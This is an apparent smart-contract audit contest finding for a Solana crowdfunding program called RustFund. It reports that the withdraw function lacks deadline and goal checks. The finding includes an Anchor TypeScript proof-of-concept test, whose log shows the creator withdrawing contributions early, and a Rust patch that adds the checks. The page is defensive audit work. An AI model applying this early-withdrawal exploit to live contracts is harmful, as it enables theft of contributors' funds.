RustFund

First Flight #36
Beginner FriendlyRust
100 EXP
View results
Submission Details
Severity: high
Valid

`withdraw`: insufficient checks

Summary

According to the actor's description, "Creator can withdraw raised funds after successful campaigns." there is no check in the withdraw to verify whether the goal has been reached.

Furthermore, withdraw also lacks a check to verify whether the deadline has been reached.

Impact

Due to the lack of these checks, the creator can withdraw funds at any time, regardless of whether the deadline has been reached or whether the campaign has succeeded.

PoC

import * as anchor from "@coral-xyz/anchor";
import { Program } from "@coral-xyz/anchor";
import { Rustfund } from "../target/types/rustfund";
import { PublicKey } from '@solana/web3.js';
import { expect } from 'chai';
describe("rust fund", () => {
// provider
const provider = anchor.AnchorProvider.env();
anchor.setProvider(provider);
// program
const program = anchor.workspace.Rustfund as Program<Rustfund>;
// actors
const creator = provider.wallet;
// campaign information
const fundName = "firstflight Fund";
const description = "this program is for firstflight";
const goalAmount = new anchor.BN(1000000000); // 1 SOL
const contributeAmount = new anchor.BN(500000000); //0.5 SOL
const deadline = new anchor.BN(Math.floor(Date.now() / 1000) + 86400); // 1 day from now (testing)
let fundPDA: PublicKey;
let fundBump: number;
let contributionPDA: PublicKey;
let contributionBump: number;
before(async () => {
// Generate PDA for fund
[fundPDA, fundBump] = await PublicKey.findProgramAddress(
[Buffer.from(fundName), creator.publicKey.toBuffer()],
program.programId
);
// Generate PDA for contribution
[contributionPDA, contributionBump] = await PublicKey.findProgramAddress(
[fundPDA.toBuffer(), provider.wallet.publicKey.toBuffer()],
program.programId
);
});
it("no check for `refund` whether goal is reach", async () => {
// create campaign
await program.methods
.fundCreate(fundName, description, goalAmount)
.accounts({
fund: fundPDA,
creator: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
// set deadline
await program.methods
.setDeadline(deadline)
.accounts({
fund: fundPDA,
creator: creator.publicKey,
})
.rpc();
// contribution
await program.methods
.contribute(contributeAmount)
.accounts({
fund: fundPDA,
contributor: provider.wallet.publicKey,
contribution: contributionPDA,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
// withdraw
const creatorBalanceBefore = await provider.connection.getBalance(creator.publicKey);
console.log("creator balance before: ", creatorBalanceBefore);
await program.methods
.withdraw()
.accounts({
fund: fundPDA,
creator: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
const creatorBalanceAfter = await provider.connection.getBalance(creator.publicKey);
console.log("creator balance after: ", creatorBalanceAfter);
console.log(`withdraw with ${(creatorBalanceAfter - creatorBalanceBefore)} successfully`);
});
});

Log:

rust fund
creator balance before: 499999999460946370
creator balance after: 499999999960941400
withdraw with 499995008 successfully
✔ no check for `refund` whether goal is reach (1883ms)
1 passing (2s)

Tools Used

Manual.

Recommendations

Add check.

pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
// ...
// check: deadline should set && campaign should end (deadline <= now)
if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() {
return Err(ErrorCode::DeadlineNotReached.into());
}
// amount_raised < goal -> failed
if ctx.accounts.fund.amount_raised < ctx.accounts.fund.goal {
return Err(ErrorCode::CampaignFailed.into());
}
// ...
}
Updates

Appeal created

bube Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

No deadline check in `withdraw` function

No goal achievement check in `withdraw` function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.